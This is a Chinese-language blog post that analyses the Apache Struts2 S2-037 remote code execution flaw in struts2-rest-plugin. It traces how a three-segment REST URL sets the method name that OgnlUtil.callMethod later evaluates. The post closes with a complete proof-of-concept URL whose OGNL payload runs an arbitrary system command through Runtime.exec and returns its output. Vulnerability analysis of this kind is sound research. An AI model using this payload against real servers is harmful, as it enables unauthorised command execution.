#介绍
其实这个037就是033的绕过,虽然点不一样,033需要开启动态函数调用,但是037找到了不需要开启动态函数的地方。
官方的说明,在启用rest时,可能会造成远程代码执行,rest最近也出了一个xml反序列漏洞,具体的漏洞原因可以看我的前几次文章。http://www.codersec.net/2017/09/s2052%E6%BC%8F%E6%B4%9E%E8%A7%A3%E6%9E%90%E5%92%8C%E8%A1%A5%E4%B8%81%E5%88%86%E6%9E%90/。基本可以定位了,那就是直接分析struts2-rest-plugin了。
#分析
好在struts2-rest-plugin代码量不多,如果分析过s2-052的也知道。插件的一些知识点
其实最终的触发点和之前分析的s2-032是一样的,都是在DefaultActionInvocation里的OgnlUtil.callMethod里面触发。那么追究其原因,就是在向ActionMapping放入键值对的时候没有过滤好。在RestActionMapper.java 的getMapping处下断点。
我把关键代码贴出来,代码的运行过程满满地描述出来
ActionMapping mapping = new ActionMapping();
String uri = RequestUtils.getUri(request);
uri = dropExtension(uri, mapping);//除去url后缀,将/order/233.xml(xml,xhtml,json,'')去掉,如果url不是这类的,就返回404,其中xml,json,xhtml这类格式的都是用来做接口用的,如果不是这类的后缀,那么uri为空,这样下一步的if就直接return结束了,直接404
if (uri == null) {
return null;
}
parseNameAndNamespace(uri, mapping, configManager);//解析map的名字和空间
handleSpecialParameters(request, mapping);//处理特殊的参数
if (mapping.getName() == null) {
return null;
}
// handle "name!method" convention.
handleDynamicMethodInvocation(mapping, mapping.getName());//解析动态方法调用,这里是重点!!!!!!
String fullName = mapping.getName();
// Only try something if the action name is specified```
下面继续看handleDynamicMethodInvocation函数
private void handleDynamicMethodInvocation(ActionMapping mapping, String name) { int exclamation = name.lastIndexOf(“!”); if (exclamation != -1) { mapping.setName(name.substring(0, exclamation));//获取name if (allowDynamicMethodCalls) { mapping.setMethod(name.substring(exclamation + 1)); } else { mapping.setMethod(null); } } }
如果开启了动态调用,那么mapping.setMethod就设置进去,后面的执行就和s2-032一样了,这个是s2-033的点。如果设置动态调用,直接修改struts.xml就ok了。
![](http://pic.findbugs.top/17-11-6/298879.jpg)
接下来就厉害了,
```
String fullName = mapping.getName();
// Only try something if the action name is specified
if (fullName != null && fullName.length() > 0) {
// cut off any ;jsessionid= type appendix but allow the rails-like ;edit
int scPos = fullName.indexOf(';');
if (scPos > -1 && !"edit".equals(fullName.substring(scPos + 1))) {
fullName = fullName.substring(0, scPos);
}
int lastSlashPos = fullName.lastIndexOf('/');
String id = null;
if (lastSlashPos > -1) {
// fun trickery to parse 'actionName/id/methodName' in the case of 'animals/dog/edit'
int prevSlashPos = fullName.lastIndexOf('/', lastSlashPos - 1);
if (prevSlashPos > -1) {
mapping.setMethod(fullName.substring(lastSlashPos + 1));
fullName = fullName.substring(0, lastSlashPos);
lastSlashPos = prevSlashPos;
}
id = fullName.substring(lastSlashPos + 1);
}
```
如何让mapping.setMethod执行,其实逻辑也很简单,只需要两个//即可,按照官方给的注释,其实官方的本来意思是想将'actionName/id/methodName'这类url单独解析,提取的函数的方式也就是fullName.substring(lastSlashPos + 1),这样函数名最终被带入到mapping,然后最后经过DefaultActionInvocation里面的OgnlUtil.callMethod之行ongl表达式,poc如下:
http://127.0.0.1:8080/s2-037/orders/4/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=whoami ```